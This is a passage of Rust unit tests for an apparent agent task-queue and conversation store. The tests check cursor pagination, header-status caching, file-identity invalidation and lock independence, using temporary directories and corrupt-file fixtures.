27136        ui.queue.put(&mut child).unwrap();
27137        let (tasks, talks, _watches) =
27138            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27139        assert_eq!(
27140            crate::consult::origin_talk(&tasks, &talks, &question)
27141                .unwrap()
27142                .id,
27143            chat_id
27144        );
27145        let revision = question_record_revision(&question);
27146        question.abandon("settled elsewhere");
27147        assert_ne!(revision, question_record_revision(&question));
27148        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27149        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
27150        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
27151        let (tasks, talks, _watches) =
27152            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27153        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
27154    }
27155
27156    #[test]
27157    fn list_cursors_freeze_membership_and_expire_explicitly() {
27158        let home = tempfile::tempdir().unwrap();
27159        let ui = delta_test_ui(home.path());
27160        std::fs::create_dir_all(ui.queue.root()).unwrap();
27161        for i in 0..40 {
27162            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
27163        }
27164        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
27165        assert_eq!(first.len(), STORE_PAGE_SIZE);
27166        let cursor = cursor.unwrap();
27167        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
27168        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
27169        let (second, _) = page_ids(
27170            &ui,
27171            false,
27172            PageQuery {
27173                before: Some(cursor.clone()),
27174            },
27175        )
27176        .unwrap();
27177        assert_eq!(second[0], "record-0023");
27178        assert!(second.iter().all(|id| !first.contains(id)));
27179        assert!(
27180            page_ids(
27181                &ui,
27182                true,
27183                PageQuery {
27184                    before: Some(cursor.clone())
27185                }
27186            )
27187            .is_err()
27188        );
27189        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
27190        assert_eq!(fresh[0], "record-9999");
27191        ui.monitor.list_walks.lock().unwrap().clear();
27192        assert!(
27193            page_ids(
27194                &ui,
27195                false,
27196                PageQuery {
27197                    before: Some(cursor)
27198                }
27199            )
27200            .is_err()
27201        );
27202    }
27203
27204    #[tokio::test]
27205    async fn talk_pages_load_every_open_then_frozen_closed_history() {
27206        let home = tempfile::tempdir().unwrap();
27207        let ui = delta_test_ui(home.path());
27208        // Every closed conversation is newer by ID than every open conversation.
27209        for i in 0..23 {
27210            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
27211        }
27212        for i in 0..45 {
27213            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
27214        }
27215        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
27216        let first = talks_page(
27217            State(ui.clone()),
27218            Query(PageQuery::default()),
27219            header::HeaderMap::new(),
27220        )
27221        .await
27222        .unwrap()
27223        .0;
27224        assert_eq!(
27225            first.rows.iter().filter(|row| row.status.open()).count(),
27226            23
27227        );
27228        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
27229        assert!(first.rows[..23].iter().all(|row| row.status.open()));
27230        let parsed = ui
27231            .monitor
27232            .talk_parses
27233            .load(std::sync::atomic::Ordering::Relaxed);
27234        assert_eq!(
27235            parsed,
27236            first.rows.len(),
27237            "closed bodies outside this page are not restored"
27238        );
27239        let fresh = talks_page(
27240            State(ui.clone()),
27241            Query(PageQuery::default()),
27242            header::HeaderMap::new(),
27243        )
27244        .await
27245        .unwrap()
27246        .0;
27247        assert_eq!(fresh.rows.len(), first.rows.len());
27248        assert_eq!(
27249            ui.monitor
27250                .talk_parses
27251                .load(std::sync::atomic::Ordering::Relaxed),
27252            parsed
27253        );
27254        let mut seen: std::collections::HashSet<_> =
27255            first.rows.iter().map(|row| row.id.clone()).collect();
27256        // Status changes keep their original membership position until refresh.
27257        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
27258        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
27259        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
27260        let mut next = first.next;
27261        while let Some(cursor) = next {
27262            let page = talks_page(
27263                State(ui.clone()),
27264                Query(PageQuery {
27265                    before: Some(cursor),
27266                }),
27267                header::HeaderMap::new(),
27268            )
27269            .await
27270            .unwrap()
27271            .0;
27272            assert!(page.rows.len() <= STORE_PAGE_SIZE);
27273            for row in page.rows {
27274                assert!(seen.insert(row.id), "a cursor must not repeat membership");
27275            }
27276            next = page.next;
27277        }
27278        let expected: HashSet<_> = (0..23)
27279            .map(|i| format!("20260101-000000-{i:03}"))
27280            .chain(
27281                (0..45)
27282                    .filter(|i| *i != 1)
27283                    .map(|i| format!("20261019-000000-{i:03}")),
27284            )
27285            .collect();
27286        assert_eq!(
27287            seen, expected,
27288            "the cursor walk must return every surviving ID"
27289        );
27290        let refreshed = talks_page(
27291            State(ui.clone()),
27292            Query(PageQuery::default()),
27293            header::HeaderMap::new(),
27294        )
27295        .await
27296        .unwrap()
27297        .0;
27298        assert_eq!(
27299            refreshed
27300                .rows
27301                .iter()
27302                .filter(|row| row.status.open())
27303                .count(),
27304            23
27305        );
27306        assert!(
27307            refreshed
27308                .rows
27309                .iter()
27310                .any(|row| row.id == "20261019-000000-000")
27311        );
27312        assert!(
27313            !refreshed
27314                .rows
27315                .iter()
27316                .any(|row| row.id == "20260101-000000-000")
27317        );
27318    }
27319
27320    #[test]
27321    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
27322        let home = tempfile::tempdir().unwrap();
27323        let ui = delta_test_ui(home.path());
27324        for i in 0..STORE_PAGE_SIZE + 5 {
27325            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
27326        }
27327        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
27328        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
27329        assert!(next.is_none());
27330    }
27331
27332    #[test]
27333    fn chat_status_promotes_closed_owner_goal_in_header() {
27334        let home = tempfile::tempdir().unwrap();
27335        let ui = delta_test_ui(home.path());
27336        for i in 0..STORE_PAGE_SIZE + 5 {
27337            seed_talk_at(&ui.talks, &format!("new-{i:03}"), "closed");
27338        }
27339        let id = seed_talk_at(&ui.talks, "ancient", "closed");
27340        let path = ui.talks.path_of(&id);
27341        let mut raw: serde_json::Value =
27342            serde_json::from_slice(&std::fs::read(&path).unwrap()).unwrap();
27343        raw["goals"] = serde_json::json!([{
27344            "id": "g", "purpose": "ship", "scope": "task",
27345            "condition": {"description": "done", "kind": "tasks_done"},
27346            "state": "owner", "step": "decision", "source_turn": 0,
27347            "owner_input": "ship", "tasks": [], "runs": [], "watches": [],
27348            "evidence": "", "wake": 0, "handled": 0, "started": null,
27349            "wakes": 0, "last_checked": null, "fingerprint": ""
27350        }]);
27351        let chat: talk::Talk = serde_json::from_value(raw.clone()).unwrap();
27352        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27353        let (ids, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27354        assert!(ids.contains(&id));
27355        let rows = talk_rows(&ui, ids, &header::HeaderMap::new());
27356        let row = rows.iter().find(|row| row.id == id).unwrap();
27357        assert_eq!(row.chat_status.kind, crate::chat_status::Kind::NeedsOwner);
27358        {
27359            let cache = ui.monitor.closed_goal_index.lock().unwrap();
27360            assert!(cache.get(&id).is_some_and(|(_, owner)| *owner));
27361            assert!(cache.len() > STORE_PAGE_SIZE);
27362        }
27363        // A second request must retain the projection even for promoted rows.
27364        let (again, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27365        assert!(again.contains(&id));
27366        // A same-length rewrite preserving write time still changes identity.
27367        let modified = path.metadata().unwrap().modified().unwrap();
27368        raw["goals"][0]["state"] = serde_json::json!("paused");
27369        raw["goals"][0]["step"] = serde_json::json!("waiting");
27370        let chat: talk::Talk = serde_json::from_value(raw).unwrap();
27371        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27372        std::fs::OpenOptions::new()
27373            .write(true)
27374            .open(&path)
27375            .unwrap()
27376            .set_modified(modified)
27377            .unwrap();
27378        let (changed, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27379        assert!(!changed.contains(&id));
27380        // A legacy file with goals after turns is deferred to its history page.
27381        let mut raw = serde_json::to_value(&chat).unwrap();
27382        raw["goals"][0]["state"] = serde_json::json!("owner");
27383        let goals = raw.as_object_mut().unwrap().remove("goals").unwrap();
27384        let mut body = serde_json::to_string(&raw).unwrap();
27385        body.pop();
27386        body.push_str(&format!(",\"goals\":{goals}}}"));
27387        std::fs::write(&path, body).unwrap();
27388        let (initial, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27389        assert!(!initial.contains(&id));
27390        let rows = talk_rows(&ui, vec![id], &header::HeaderMap::new());
27391        assert_eq!(
27392            rows[0].chat_status.kind,
27393            crate::chat_status::Kind::NeedsOwner
27394        );
27395    }
27396
27397    #[test]
27398    fn chat_status_revision_tracks_turn_lease_without_transcript_changes() {
27399        let home = tempfile::tempdir().unwrap();
27400        let ui = delta_test_ui(home.path());
27401        let id = seed_talk_at(&ui.talks, "chat", "open");
27402        let before = monitor_scan(&ui, None);
27403        let lease = ui.talks.claim_turn(&id).unwrap().unwrap();
27404        let during = monitor_scan(&ui, Some(before.clone()));
27405        assert_ne!(during.0.3, before.0.3);
27406        drop(lease);
27407        let after = monitor_scan(&ui, Some(during));
27408        assert_eq!(after.0.3, before.0.3);
27409    }
27410
27411    #[test]
27412    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
27413        struct Counted<R> {
27414            inner: R,
27415            bytes: usize,
27416        }
27417        impl<R: std::io::Read> std::io::Read for Counted<R> {
27418            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
27419                let n = self.inner.read(buf)?;
27420                self.bytes += n;
27421                Ok(n)
27422            }
27423        }
27424        let home = tempfile::tempdir().unwrap();
27425        let ui = delta_test_ui(home.path());
27426        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
27427        let mut chat = ui.talks.get(&id).unwrap();
27428        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
27429            chat.turns = vec![
27430                serde_json::from_value(serde_json::json!({
27431                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
27432                }))
27433                .unwrap(),
27434            ];
27435            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
27436                chat.status = status;
27437                // Exercise the actual on-disk serializer, including its field order.
27438                let body = serde_json::to_vec_pretty(&chat).unwrap();
27439                let mut reader = Counted {
27440                    inner: body.as_slice(),
27441                    bytes: 0,
27442                };
27443                assert_eq!(read_talk_status(&mut reader), Some(status));
27444                assert!(
27445                    reader.bytes <= 1024,
27446                    "header classification read {} bytes",
27447                    reader.bytes
27448                );
27449            }
27450        }
27451        // Noncanonical field order must neither traverse a transcript nor hide
27452        // an open row. Its real status is validated by the ordinary row reader.
27453        let noncanonical = format!(
27454            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
27455            "x".repeat(1024 * 1024)
27456        );
27457        let mut reader = Counted {
27458            inner: noncanonical.as_bytes(),
27459            bytes: 0,
27460        };
27461        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27462        assert!(reader.bytes <= 1024);
27463        let legacy = format!(
27464            r#"{{"status":"closed","turns":[{{"body":"{}"}}],"goals":[]}}"#,
27465            "x".repeat(1024 * 1024)
27466        );
27467        let mut reader = Counted {
27468            inner: legacy.as_bytes(),
27469            bytes: 0,
27470        };
27471        assert!(!read_owner_goal(&mut reader));
27472        assert!(reader.bytes <= 1024);
27473        let oversized = format!(
27474            r#"{{"agent":"{}","status":"open"}}"#,
27475            "x".repeat(128 * 1024)
27476        );
27477        let mut reader = Counted {
27478            inner: oversized.as_bytes(),
27479            bytes: 0,
27480        };
27481        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27482        assert!(reader.bytes <= 64 * 1024);
27483    }
27484
27485    #[test]
27486    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
27487        let home = tempfile::tempdir().unwrap();
27488        let ui = delta_test_ui(home.path());
27489        seed_talk_at(&ui.talks, "header-chat", "open");
27490        std::fs::create_dir_all(ui.queue.root()).unwrap();
27491        let (started, ready) = std::sync::mpsc::channel();
27492        let (release, wait) = std::sync::mpsc::channel();
27493        let chat_ui = ui.clone();
27494        let scan = std::thread::spawn(move || {
27495            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
27496                started.send(()).unwrap();
27497                wait.recv().unwrap();
27498                open_talk_ids(ui, ids)
27499            })
27500            .unwrap()
27501        });
27502        ready.recv_timeout(Duration::from_secs(2)).unwrap();
27503        let (finished, result) = std::sync::mpsc::channel();
27504        let queue = std::thread::spawn(move || {
27505            finished
27506                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
27507                .unwrap();
27508        });
27509        let completed = result.recv_timeout(Duration::from_secs(2));
27510        // Release and join both workers even if the regression returns.
27511        release.send(()).unwrap();
27512        scan.join().unwrap();
27513        queue.join().unwrap();
27514        assert!(
27515            completed.unwrap(),
27516            "queue paging must not wait for chat header I/O"
27517        );
27518    }
27519
27520    #[test]
27521    fn talk_status_projection_does_not_cache_files_changed_during_read() {
27522        let home = tempfile::tempdir().unwrap();
27523        let ui = delta_test_ui(home.path());
27524        let ids = vec!["changing-chat".to_owned()];
27525        seed_talk_at(&ui.talks, &ids[0], "closed");
27526        assert!(open_talk_ids(&ui, &ids).is_empty());
27527        seed_talk_at(&ui.talks, &ids[0], "open");
27528        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
27529            let value: serde_json::Value =
27530                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
27531            // Replace the file after parsing, before its identity is checked again.
27532            seed_talk_at(&ui.talks, &ids[0], "closed");
27533            serde_json::from_value(value["status"].clone()).ok()
27534        });
27535        assert!(open.contains(&ids[0]));
27536        assert!(
27537            ui.monitor
27538                .talk_status_index
27539                .lock()
27540                .unwrap()
27541                .records
27542                .is_empty()
27543        );
27544        assert!(open_talk_ids(&ui, &ids).is_empty());
27545        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
27546    }
27547
27548    #[test]
27549    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
27550        let home = tempfile::tempdir().unwrap();
27551        let ui = delta_test_ui(home.path());
27552        let ids = vec!["same-stamp-chat".to_owned()];
27553        seed_talk_at(&ui.talks, &ids[0], "open");
27554        // Model a non-Unix metadata collision deterministically: the old
27555        // classification has a fingerprint equal to the current file's.
27556        ui.monitor.talk_status_index.lock().unwrap().records.insert(
27557            ids[0].clone(),
27558            (
27559                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
27560                Some(talk::TalkStatus::Closed),
27561            ),
27562        );
27563        let open = open_talk_ids_with(&ui, &ids, false, |path| {
27564            std::fs::File::open(path).ok().and_then(read_talk_status)
27565        });
27566        assert!(
27567            open.contains(&ids[0]),
27568            "an untrusted cache hit must still read the current header"
27569        );
27570        assert!(
27571            ui.monitor
27572                .talk_status_index
27573                .lock()
27574                .unwrap()
27575                .records
27576                .is_empty()
27577        );
27578        seed_talk_at(&ui.talks, &ids[0], "closed");
27579        assert!(
27580            open_talk_ids_with(&ui, &ids, false, |path| {
27581                std::fs::File::open(path).ok().and_then(read_talk_status)
27582            })
27583            .is_empty()
27584        );
27585        let index = ui.monitor.talk_status_index.lock().unwrap();
27586        assert_eq!(index.parses, 2);
27587        assert!(
27588            index.records.is_empty(),
27589            "untrusted fingerprints must never publish cache entries"
27590        );
27591    }
27592
27593    #[test]
27594    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
27595        let home = tempfile::tempdir().unwrap();
27596        let ui = delta_test_ui(home.path());
27597        let headers = header::HeaderMap::new();
27598        seed_talk_at(&ui.talks, "open-chat", "open");
27599        seed_talk_at(&ui.talks, "closed-chat", "closed");
27600        talk_rows(
27601            &ui,
27602            vec!["open-chat".into(), "closed-chat".into()],
27603            &headers,
27604        );
27605        {
27606            let mut index = ui.monitor.talk_index.lock().unwrap();
27607            let closed = index["closed-chat"].1.clone();
27608            for i in 0..1000 {
27609                index.insert(
27610                    format!("cached-closed-{i}"),
27611                    (
27612                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
27613                        closed.clone(),
27614                    ),
27615                );
27616            }
27617        }
27618        assert_eq!(
27619            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
27620            1
27621        );
27622        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
27623        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27624        assert_eq!(
27625            ui.monitor
27626                .talk_parses
27627                .load(std::sync::atomic::Ordering::Relaxed),
27628            2
27629        );
27630        {
27631            let mut index = ui.monitor.talk_index.lock().unwrap();
27632            let open = index["open-chat"].1.clone();
27633            for i in 0..1000 {
27634                index.insert(
27635                    format!("cached-open-{i}"),
27636                    (
27637                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
27638                        open.clone(),
27639                    ),
27640                );
27641            }
27642        }
27643        // Even when open rows exceed the bound, keep the currently requested rows.
27644        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27645        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
27646        assert_eq!(
27647            ui.monitor
27648                .talk_parses
27649                .load(std::sync::atomic::Ordering::Relaxed),
27650            2
27651        );
27652    }
27653
27654    #[test]
27655    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
27656        let home = tempfile::tempdir().unwrap();
27657        let ui = delta_test_ui(home.path());
27658        std::fs::create_dir_all(ui.talks.root()).unwrap();
27659        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
27660        for id in &ids {
27661            std::fs::write(
27662                ui.talks.path_of(id),
27663                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
27664            )
27665            .unwrap();
27666        }
27667        assert!(open_talk_ids(&ui, &ids).is_empty());
27668        assert_eq!(
27669            ui.monitor.talk_status_index.lock().unwrap().parses,
27670            ids.len()
27671        );
27672        assert!(open_talk_ids(&ui, &ids).is_empty());
27673        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
27674        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
27675        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
27676        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
27677        assert_eq!(
27678            open_talk_ids(&ui, &ids),
27679            std::collections::HashSet::from([ids[0].clone()])
27680        );
27681        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
27682        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
27683        assert_eq!(parsed, reused + refreshed);
27684        open_talk_ids(&ui, &ids);
27685        assert_eq!(
27686            ui.monitor.talk_status_index.lock().unwrap().parses,
27687            parsed + if cfg!(unix) { 0 } else { ids.len() },
27688            "only reliable file identity permits caching, including unreadable rows"
27689        );
27690        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
27691        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
27692        assert!(
27693            !ui.monitor
27694                .talk_status_index
27695                .lock()
27696                .unwrap()
27697                .records
27698                .contains_key(&ids[0])
27699        );
27700        assert!(
27701            ui.monitor.talk_index.lock().unwrap().is_empty(),
27702            "classification never caches bodies"
27703        );
27704    }
27705
27706    #[tokio::test]
27707    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
27708        let home = tempfile::tempdir().unwrap();
27709        let ui = delta_test_ui(home.path());
27710        let mut task = Task::new(
27711            "task".into(),
27712            "body".into(),
27713            PathBuf::from("/repo"),
27714            Source::Human,
27715        );
27716        ui.queue.put(&mut task).unwrap();
27717        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27718        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27719        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27720        let expected = parsed + usize::from(!cfg!(unix));
27721        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27722        task.status = crate::queue::TaskStatus::Held;
27723        ui.queue.put(&mut task).unwrap();
27724        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27725        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27726        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
27727        ui.queue.put(&mut task).unwrap();
27728        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27729        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27730        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
27731    }
27732
27733    #[tokio::test]
27734    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
27735        let home = tempfile::tempdir().unwrap();
27736        let ui = delta_test_ui(home.path());
27737        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
27738        let before = health(State(ui.clone())).await.unwrap().0;
27739        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
27740        let after = health(State(ui)).await.unwrap().0;
27741        assert_ne!(before.notifications_rev, after.notifications_rev);
27742        assert_eq!(after.notifications_unread, 1);
27743    }
27744
27745    #[tokio::test]
27746    async fn list_pages_bound_history_and_keep_dependency_evidence() {
27747        let home = tempfile::tempdir().unwrap();
27748        let ui = delta_test_ui(home.path());
27749        let queue = &ui.queue;
27750        let talks = &ui.talks;
27751        for i in 0..1000 {
27752            let id = format!("20261019-{i:06}-page");
27753            let mut task = Task::new(
27754                "task".into(),
27755                "instruction".repeat(100),
27756                PathBuf::from("/repo/magi"),
27757                Source::Human,
27758            );
27759            task.id = id.clone();
27760            if i == 0 {
27761                task.status = crate::queue::TaskStatus::Held;
27762            } else if i == 999 {
27763                task.status = crate::queue::TaskStatus::Blocked;
27764                task.blocked_by = vec!["20261019-000000-page".into()];
27765            }
27766            queue.put(&mut task).unwrap();
27767            seed_talk_at(talks, &id, "closed");
27768        }
27769        let page = serde_json::to_value(
27770            queue_page(State(ui.clone()), Query(PageQuery::default()))
27771                .await
27772                .unwrap()
27773                .0,
27774        )
27775        .unwrap();
27776        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27777        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
27778        assert!(
27779            !page["rows"][0]["stuck_roots"]
27780                .as_array()
27781                .unwrap()
27782                .is_empty()
27783        );
27784        let cursor = page["next"].as_str().unwrap();
27785        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
27786            .as_str()
27787            .unwrap();
27788        // Deleting an already enumerated file cannot shift or repeat a page.
27789        std::fs::remove_file(queue.path_of(last_id)).unwrap();
27790        let next = serde_json::to_value(
27791            queue_page(
27792                State(ui.clone()),
27793                Query(PageQuery {
27794                    before: Some(cursor.into()),
27795                }),
27796            )
27797            .await
27798            .unwrap()
27799            .0,
27800        )
27801        .unwrap();
27802        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27803        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
27804        let chats = serde_json::to_value(
27805            talks_page(
27806                State(ui.clone()),
27807                Query(PageQuery::default()),
27808                header::HeaderMap::new(),
27809            )
27810            .await
27811            .unwrap()
27812            .0,
27813        )
27814        .unwrap();
27815        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27816        assert!(chats["rows"][0].get("pending").is_none());
27817        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
27818        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
27819        assert_eq!(counts["held"], 1);
27820        assert_eq!(counts["blocked"], 1);
27821        assert_eq!(counts["queued"], 997);
27822    }
27823
27824    #[test]
27825    fn queue_index_observes_external_replacement_deletion_and_corruption() {
27826        let dir = tempfile::tempdir().unwrap();
27827        let ui = delta_test_ui(dir.path());
27828        let mut task = Task::new(
27829            "task".into(),
27830            "body".into(),
27831            PathBuf::from("/repo"),
27832            Source::Human,
27833        );
27834        task.runs = vec!["run-a".into()];
27835        ui.queue.put(&mut task).unwrap();
27836        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
27837        task.runs = vec!["run-b".into()];
27838        let path = ui.queue.path_of(&task.id);
27839        let modified = path.metadata().unwrap().modified().unwrap();
27840        let replacement = path.with_extension("replacement");
27841        let bytes = serde_json::to_vec_pretty(&task).unwrap();
27842        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
27843        std::fs::write(&replacement, &bytes).unwrap();
27844        std::fs::File::options()
27845            .write(true)
27846            .open(&replacement)
27847            .unwrap()
27848            .set_times(std::fs::FileTimes::new().set_modified(modified))
27849            .unwrap();
27850        std::fs::rename(&replacement, &path).unwrap();
27851        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
27852        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27853        std::fs::write(&path, "broken").unwrap();
27854        assert!(ui.find_task_for_run("run-b").is_err());
27855        std::fs::write(&path, bytes).unwrap();
27856        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27857        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27858        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
27859    }
27860
27861    #[tokio::test]
27862    async fn conversation_core_is_independent_of_unreadable_related_history() {
27863        let home = tempfile::tempdir().unwrap();
27864        let ui = delta_test_ui(home.path());
27865        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27866        std::fs::create_dir_all(ui.queue.root()).unwrap();
27867        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
27868        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
27869            .await
27870            .unwrap();
27871        assert_eq!(core.talk.id, id);
27872        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
27873    }
27874
27875    #[test]
27876    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
27877        let home = tempfile::tempdir().unwrap();
27878        let ui = delta_test_ui(home.path());
27879        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27880        let directory = home.path().join("workers/jobs/abcdef");
27881        std::fs::create_dir_all(&directory).unwrap();
27882        let job = crate::worker::Job {
27883            id: "abcdef".into(),
27884            sequence: 1,
27885            kind: "chat".into(),
27886            key: id.clone(),
27887            payload: serde_json::json!({ "talk": id }),
27888            generation: "test".into(),
27889            version: None,
27890            status: crate::worker::Status::Running,
27891            result: None,
27892            pid: None,
27893            created_at: 0,
27894            finished_at: None,
27895        };
27896        std::fs::write(
27897            directory.join("job.json"),
27898            serde_json::to_vec(&job).unwrap(),
27899        )
27900        .unwrap();
27901        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
27902        let store =
27903            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
27904        let runtime = tokio::runtime::Builder::new_current_thread()
27905            .enable_all()
27906            .max_blocking_threads(1)
27907            .build()
27908            .unwrap();
27909        runtime.block_on(async {
27910            let (release, held) = std::sync::mpsc::channel();
27911            let (started, ready) = tokio::sync::oneshot::channel();
27912            let occupied = tokio::task::spawn_blocking(move || {
27913                started.send(()).unwrap();
27914                held.recv().unwrap();
27915            });
27916            ready.await.unwrap();
27917            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
27918            let bulk = ui
27919                .monitor
27920                .bulk_slots
27921                .clone()
27922                .acquire_many_owned(2)
27923                .await
27924                .unwrap();
27925            let result = tokio::time::timeout(
27926                Duration::from_secs(2),
27927                talk_core(State(ui.clone()), Path(id.clone())),
27928            )
27929            .await;
27930            // Release all blockers before assertions, including on a regression.
27931            drop(store);
27932            drop(bulk);
27933            release.send(()).unwrap();
27934            occupied.await.unwrap();
27935            let _ = secondary.await.unwrap().unwrap();
27936            let Json(core) = result
27937                .expect("transcript must bypass secondary work and the worker store lock")
27938                .unwrap();
27939            assert!(
27940                core.thinking,
27941                "read-only observation retains live worker state"
27942            );
27943            assert_eq!(core.talk.id, id);
27944            let admission_ui = ui.clone();
27945            let (release, held) = std::sync::mpsc::channel();
27946            let (started, ready) = tokio::sync::oneshot::channel();
27947            let admission = std::thread::spawn(move || {
27948                let _lock = admission_ui.talk_turns.lock().unwrap();
27949                started.send(()).unwrap();
27950                held.recv().unwrap();
27951            });
27952            ready.await.unwrap();
27953            let result = tokio::time::timeout(
27954                Duration::from_secs(2),
27955                talk_core(State(ui.clone()), Path(id.clone())),
27956            )
27957            .await;
27958            release.send(()).unwrap();
27959            admission.join().unwrap();
27960            assert!(
27961                result
27962                    .expect("display must not wait behind local admission")
27963                    .unwrap()
27964                    .0
27965                    .thinking
27966            );
27967            assert!(ui.is_thinking(&id));
27968            assert!(ui.is_thinking_observed(&id));
27969            drop(live);
27970            assert!(
27971                !ui.is_thinking_observed(&id),
27972                "a finished lease no longer appears live"
27973            );
27974            assert!(!ui.is_thinking(&id));
27975            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
27976            assert!(
27977                ui.is_thinking_observed(&id),
27978                "local admission remains visible"
27979            );
27980        });
27981    }
27982
27983    #[tokio::test]
27984    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
27985        let home = tempfile::tempdir().unwrap();
27986        let ui = delta_test_ui(home.path());
27987        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27988        let mut task = Task::new(
27989            "Referenced task".into(),
27990            "Unrelated instruction history".repeat(1024),
27991            home.path().into(),
27992            Source::Human,
27993        );
27994        task.id = "20261019-000000-abcd".into();
27995        ui.queue.put(&mut task).unwrap();
